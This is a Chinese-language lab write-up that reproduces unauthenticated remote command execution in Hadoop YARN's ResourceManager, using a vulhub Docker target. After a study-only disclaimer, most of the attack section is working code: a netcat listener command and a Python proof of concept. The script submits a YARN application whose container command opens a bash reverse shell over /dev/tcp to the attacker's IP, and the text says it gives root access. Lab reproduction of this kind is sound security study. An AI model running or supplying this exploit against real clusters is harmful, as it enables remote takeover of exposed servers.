声明
严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !
目录
环境搭建
使用vulhub靶场,用docker启动环境
访问hadoop页面
攻击复现
1、先去攻击机监听端口
nc -lvvp 9999 #监听本地端口9999
2、再去靶机运行exp python exploit.py,获取shell
Poc:
#!/usr/bin/env python
import requests
target = 'http://127.0.0.1:8088/'
lhost = 'x.x.x.x' # 修改lhost反弹shell的IP
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
将此poc更改IP后,放入靶机中,使用python3运行
python3 1.py
此时攻击机中nc会显示获取到shell,权限为root
参考:
https://blog.csdn.net/weixin_44522540/article/details/122583636